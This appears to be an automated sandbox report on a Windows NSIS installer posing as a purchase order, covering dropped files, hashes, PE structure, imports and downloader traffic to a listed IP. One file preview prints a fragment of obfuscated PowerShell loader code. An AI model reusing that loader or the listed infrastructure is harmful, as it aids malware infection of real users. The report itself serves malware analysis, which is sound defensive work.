SHA-256:	9CCADD82A127BA29D7BA291CB307753D060CA26A3C3CCBCB9EDB3F3A38E5EE31
SHA-512:	7940E4CE5AB08DDFE4DB8B2676F9B92C51DC794C8772760C279B8BC57B7C97502ADBF91747D4FA57BAA6B5B695504E090875DF6890D478B8FD6CF8D70B3C8F65
Malicious:	false
Reputation:	low
Preview:	..Zy..........................................V......................k...................g........./.............Q.........l..#.....^............................................x..........&.............................../................................................................./............/.........................).......?......................p.............o..........................................sy............................................................5.........................R2...................................................................................................."e..............................................Y..................................................l.......{................s...............................................9..........................d.........&.......r......................<..........................................................................................................?............*..................L.................

C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\Sttemder73.Uns

Process:	C:\Users\user\Desktop\PO. A-72 9234567.exe
File Type:	Unicode text, UTF-8 text, with very long lines (4007), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	72113
Entropy (8bit):	5.17724752382159
Encrypted:	false
SSDEEP:	1536:lXVp+M8yiZL5EnBeoRdfy3Ipfo19ZWSopUFlsfIu6iB:lXVYM8oEcdyYpfeCSGYGfIuP
MD5:	AEDFD50E55B0E8F3433601DAD7C1F38D
SHA1:	7CC271875BCDBA41F48CB48A2D7D246C62FBFFDC
SHA-256:	A7E80D1C200DA7D3B41CB9CCD2F063FD96518176FC7CFD00B8BA11287898E719
SHA-512:	5466525ED7D7A0A496D84AE99FB8BD653A058647941FB71197FB71263B75DD7D089C20996B4574FC39A6C7683A954B7C22B9AAC215EFE16BC046D44EA827290C
Malicious:	true
Preview:	$Darkishristning167=$Darkisharberry;........$Exonerating = @'.Liparid.ruddssp$PeremptUYirkvoip Zrutylp SelvtgiKirke,inJordskrgFideism=Svin fa$Ha,burgVEmpiremeKonturtrpontiffdLnniveaeFancymon Ud,ignsneronizh imograiRetracts OverhetSpaantaoLeveranrGrandfiiTammieheWid hwanMultice;Elektri.GivensyfRe.ysteuGlob linJasmin.c eclastAlkaminivintereoToraengnCons.rt Almose,UFrondesnRetsided SkolepsrsteropaB.stnintterror,tFrekveneTild,ni B gfjer( Asyl a$AtlanteSStochasa KamleopTroublewForstrro Vici urS enuldtPsiloci,Agonise$ UvaergDDisscepaQuiabesr F,ettekVejreneiC romopsTilbag h Discon)Luftva Anaesth{ Art.re.Chapins.Handels$PoemetsOBygningc.ystemieEdgiestaDieselmnSpindleo Repr.sl MorphooJulero gBrugs niSparekacMaculacakomedielbu,rito Nondef.(SkdeslsOApteroiuSpikiert Indramb Japa.elDi hearuSolstrasParaffitUdbragteLamel ir ortolk iddend'TrissedD Vlvel.ede eylitGris es.CarnivonCampagntUd olkne Unrigh$StandarP.mdeskrrFuturisoDemas ucAfriv ieFiskesnnAksellet HeptylSP ntomoCPhilanth arendaAandsarpM

C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\Undrape.occ

Process:	C:\Users\user\Desktop\PO. A-72 9234567.exe
File Type:	data
Category:	dropped
Size (bytes):	333305
Entropy (8bit):	7.601702850334325
Encrypted:	false
SSDEEP:	6144:1j+MSbZZ2i0mtF+t090Ae4rdMIzvcND6DFX/yIjiZ5ssCFPYB6/7PVvFy5V8JNtD:m19rdv7cV6DFX/bu5ssCWBavW+Dm87
MD5:	8EA702AC3695C13B2A4CA8290DF4A145
SHA1:	D37449C5E37800DD33A3494D3E673BFE9C6C65E7
SHA-256:	7519724601AEFDB16FADE3D275F2C1FB068EE9D0D359F46A216921748B857FED
SHA-512:	FDDF5167C09174C6AA3F3471A29646B13FB325ED07C76D6D09EBAD2C475EB92AFA2C8244CBEE8A9625076D4217CB2BBFAD13D64E84E7C2057C4FE940EBCE7487
Malicious:	false
Preview:	................}................MM.~....................................6.........KK.........>.k./..OOOO.........K.......'''.........oo.......5..........oo........S.....[[[[.............X.......+.ggggg...QQ.............EEE......Y.................k......................w.....\|....ttt..[[[............cc......+.(...~~....*....444......%.h..CC......@.jj.................~.....!!!.VVV.....eee........N.kk.....................................N.........aaa..z.........p.....................................................................RR...............................\|...;...................??....r.......{..........t......PP.Q..............U..P..................+++......PPP...5....A.........)....YY.....i.!!.=...........................q.\....&&.KK.................................TT..............11....\|............JJ........,..c...................)...a.....BB............qq....... .......Q....DD.\|...........3....PP.......................)...........TT.........RR.................7..JJJ....F.

C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\acology.mar

Process:	C:\Users\user\Desktop\PO. A-72 9234567.exe
File Type:	data
Category:	dropped
Size (bytes):	437071
Entropy (8bit):	1.253825384833456
Encrypted:	false
SSDEEP:	768:uWsvcxI4BCLNVp0kyRWlxp4pkE5sS+ZA4o7VengmxKgoMqbGam2C1afEUe/u41Az:2T4BC0SG4J+VB8GA2pzEszrq2GrwLnj
MD5:	F030199A57CDBFC5D06AC8BFB59059C3
SHA1:	3C7AA5EA48CBAA34C8426B76498CD4BF5BF644BF
SHA-256:	FD1253B138D560D3AD0A56C32F37D0FDBDE9E16CC37E59E991595C7349B1F087
SHA-512:	7EC5E2553A15923396B77E07685172CEEAFDE8F60CCBB97E0796DCB8E1BBA8FF17F1CA242B143AD497942FDC8D7473AEFB5091E6492616B3D8C0EBCBA13C98C2
Malicious:	false
Preview:	.....................................X....................................>..a......................A......w..............................@.y........K..............................................z...................z...........p............V.....................................................h....................\|..U.........../................................................................O..+.............................................+................F....................................2......................J..........................".........................A.............................-..............G..............S...............V.............t.......=.....................b.............................................................................................................................................................w................3........f.................2.........................m.0.........................................q...............................

C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\fiskehandels\vaklende.sna

Process:	C:\Users\user\Desktop\PO. A-72 9234567.exe
File Type:	data
Category:	dropped
Size (bytes):	340924
Entropy (8bit):	1.2553271369192232
Encrypted:	false
SSDEEP:	768:rmUSNMYYmaSwBaGhKmULRAGcnjPDQ5lHJ30U5MFvsAkhuD7odAmLVBeOdlfHV22E:vvCsDuqEZ11vtew5dzv9
MD5:	C41E860BAAE2CC8168C2ABD50BB5BDF4
SHA1:	548575B164EDA9485A2B3F66161C8024619B6423
SHA-256:	601CF3825DCDD9076ED0A3CB778F62AF942CF20D64D3F86335A57B43E29F2B52
SHA-512:	9D2D97A7CAE52202807093ABF8BF4DE3F01BF54BAFF02C8110D800A7E6B1F6290B3ED60FB954809F9231BEDF730CA7244E9E51EE6B6074445DB180EB0E956718
Malicious:	false
Preview:	......................j..h....!..............................................p.............c....P............................k......................................y...............o`....................}...'9...........................Gt......................P.............................................................'.................................#.......................!.............................................................................................W.....C..........................................................................U...g......................................H.....s............n........U........)..........................................s.........S.................t......................................M.................................................................................S.............................................................H........................).............c.$...... .....................n.....................................

C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\straffesager.tra

Process:	C:\Users\user\Desktop\PO. A-72 9234567.exe
File Type:	data
Category:	dropped
Size (bytes):	484281
Entropy (8bit):	1.2585657408825282
Encrypted:	false
SSDEEP:	1536:ZtZbLcPMi2av+CVKljwe/ieUZ39FbMXVvL:PyPrdCBlotFbO
MD5:	A8740E0A6C72618AB3FB8804F4835BEF
SHA1:	6393CB3D9E3E670BA5C96F4A757F5B198196EB15
SHA-256:	EF5DB6A0097473B03CCF2A1E6152E2AC7AC57BB31B31A06529BCD3900E9C097C
SHA-512:	55740B7FE5A3D26FC47F9695B2FD33C045E67E6E36F0D2121235C2AEA9800F19740C1B0F797E32E8108E10245D8A4616308173E24A61129D82B9D60500C8763C
Malicious:	false
Preview:	.............................................................................[....2...........W......A.................S........y.................................................................4.......D...=...............Y......................".............................................................7............................................................................Y.....................................{........{.....>................m.....................................`...................................r...............................?.....#...............8.?.....................................................-..........\....................................................%:.................................p.................{.......r.............u..m...b...........................<.........................................................................1...............................................S.............................................4.............W....

C:\Users\user\AppData\Local\Temp\Notanencephalia.exe

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	798970
Entropy (8bit):	7.827643763105386
Encrypted:	false
SSDEEP:	24576:UXqzrTMuVyaP2e4MQ7Ttmg6aZ4QT31V1how:WK4uVa77Ttmg1Z4S3H1
MD5:	3454DF1E0AC8785872448AA049B8D91E
SHA1:	05C146FE06C33B2AF95992C74BAF58AA1972CE8F
SHA-256:	F0472B2EE2791D7DA13D5549F157624EFD81F3D17198CCE9378F5F6CFE2C8850
SHA-512:	19C233AC4F7B0861C9424E25A7A63A8495B61DCC2F8B5403474FBF3644D8181BC94A7D6A2C6C508AD65B8E03FD5FC10C89F1A5A3B0673603024CE9C103EA0151
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN.s~..PN..VH..PN.Rich.PN.........................PE..L....C.f.................f...".......5............@.......................................@..........................................................................................................................................................text...ve.......f.................. ..`.rdata..X............j..............@..@.data...8............~..............@....ndata...0...............................rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Notanencephalia.exe:Zone.Identifier

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d01a0ros.ehj.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ecxbfofu.c2e.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v1icnbwm.fzp.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z2d5ikju.twq.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.827643763105386
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PO. A-72 9234567.exe
File size:	798'970 bytes
MD5:	3454df1e0ac8785872448aa049b8d91e
SHA1:	05c146fe06c33b2af95992c74baf58aa1972ce8f
SHA256:	f0472b2ee2791d7da13d5549f157624efd81f3d17198cce9378f5f6cfe2c8850
SHA512:	19c233ac4f7b0861c9424e25a7a63a8495b61dcc2f8b5403474fbf3644d8181bc94a7d6a2c6c508ad65b8e03fd5fc10c89f1a5a3b0673603024ce9c103ea0151
SSDEEP:	24576:UXqzrTMuVyaP2e4MQ7Ttmg6aZ4QT31V1how:WK4uVa77Ttmg1Z4S3H1
TLSH:	F40502917691123FC16D813BB1672B71EBAB9FA8527368026123FF0F75367627E08643
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN..s~..PN..VH..PN.Rich.PN.........................PE..L....C.f.................f...".....

File Icon


Icon Hash:	71868ed4e8b04d49

Static PE Info

General

Entrypoint:	0x40351c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x660843F3 [Sat Mar 30 16:55:15 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f4639a0b3116c2cfc71144b88a929cfd

Entrypoint Preview

Instruction
sub esp, 000003F8h
push ebp
push esi
push edi
push 00000020h
pop edi
xor ebp, ebp
push 00008001h
mov dword ptr [esp+20h], ebp
mov dword ptr [esp+18h], 0040A2D8h
mov dword ptr [esp+14h], ebp
call dword ptr [004080A4h]
mov esi, dword ptr [004080A8h]
lea eax, dword ptr [esp+34h]
push eax
mov dword ptr [esp+4Ch], ebp
mov dword ptr [esp+0000014Ch], ebp
mov dword ptr [esp+00000150h], ebp
mov dword ptr [esp+38h], 0000011Ch
call esi
test eax, eax
jne 00007F6608EDC74Ah
lea eax, dword ptr [esp+34h]
mov dword ptr [esp+34h], 00000114h
push eax
call esi
mov ax, word ptr [esp+48h]
mov ecx, dword ptr [esp+62h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [esp+0000014Eh], 00000004h
not eax
and eax, ecx
mov word ptr [esp+00000148h], ax
cmp dword ptr [esp+38h], 0Ah
jnc 00007F6608EDC718h
and word ptr [esp+42h], 0000h
mov eax, dword ptr [esp+40h]
movzx ecx, byte ptr [esp+3Ch]
mov dword ptr [00429AD8h], eax
xor eax, eax
mov ah, byte ptr [esp+38h]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [esp+00000148h]
movzx ecx, cx
shl eax, 10h
or eax, ecx
movzx ecx, byte ptr [esp+0000004Eh]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x84fc	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4d000	0x1f780	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2a8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6576	0x6600	1e4066ed6e7440cc449c401dfd9ca64f	False	0.6663219975490197	data	6.461246686118911	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1358	0x1400	f0b500ff912dda10f31f36da3efc8a1e	False	0.44296875	data	5.102094016108248	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x1fb38	0x600	2e1d49b2855a89e6218e118f0c182b81	False	0.5026041666666666	data	4.044293204800279	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2a000	0x23000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4d000	0x1f780	0x1f800	8e8a3197e2686a2d1e03890bd5970dad	False	0.5309554811507936	data	6.149455977169068	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x4d2f8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 0	English	United States	0.25881343901573406
RT_ICON	0x5db20	0x9f42	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9983811626195732
RT_ICON	0x67a68	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.4413900414937759
RT_ICON	0x6a010	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.5112570356472795
RT_ICON	0x6b0b8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	English	United States	0.6077868852459016
RT_ICON	0x6ba40	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.650709219858156
RT_DIALOG	0x6bea8	0x100	data	English	United States	0.5234375
RT_DIALOG	0x6bfa8	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x6c0c8	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x6c190	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x6c1f0	0x5a	data	English	United States	0.7888888888888889
RT_VERSION	0x6c250	0x1f0	MS Windows COFF PowerPC object file	English	United States	0.5504032258064516
RT_MANIFEST	0x6c440	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
ADVAPI32.dll	RegEnumValueW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, RegOpenKeyExW, RegCreateKeyExW
SHELL32.dll	SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW, ShellExecuteExW
ole32.dll	CoCreateInstance, OleUninitialize, OleInitialize, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Destroy, ImageList_AddMasked, ImageList_Create
USER32.dll	MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, CreatePopupMenu, AppendMenuW, TrackPopupMenu, OpenClipboard, EmptyClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, IsWindowEnabled, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CharPrevW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, CharNextA, wsprintfA, DispatchMessageW, CreateWindowExW, PeekMessageW, GetSystemMetrics
GDI32.dll	GetDeviceCaps, SetBkColor, SelectObject, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor
KERNEL32.dll	lstrcmpiA, CreateFileW, GetTempFileNameW, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, WriteFile, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, Sleep, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, MulDiv, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, SetEnvironmentVariableW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-10T10:33:50.166155+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	49967	212.162.149.89	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 10:33:48.887895107 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:49.007234097 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:49.009942055 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:49.010252953 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:49.129659891 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.166053057 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.166100979 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.166114092 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.166155100 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.166182995 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.166194916 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.166205883 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.166260958 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.196058035 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.196206093 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.196214914 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.196225882 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.196260929 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.196273088 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.196290970 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.196316957 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.285798073 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.285864115 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.286107063 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.290138006 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.290700912 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.358102083 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.358227015 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.358256102 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.361886978 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.362526894 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.362540007 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.362704992 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.370939970 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.370996952 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.371030092 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.373861074 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.379512072 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.379584074 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.379610062 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.381866932 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.388008118 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.388144016 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.388174057 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.390111923 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.394304037 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.394404888 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.394454956 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.402992964 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.403088093 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.403120041 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.403352976 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.411489964 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.411550999 CET	80	49967	212.162.149.89	192.168.2.6
